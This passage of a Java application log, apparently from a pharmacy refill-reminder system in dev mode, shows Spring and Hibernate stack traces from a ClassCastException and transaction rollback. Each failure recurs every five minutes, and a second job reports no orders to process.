org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 14:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 14:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 14:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 14:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 14:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 14:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 14:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 14:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 14:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 14:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> 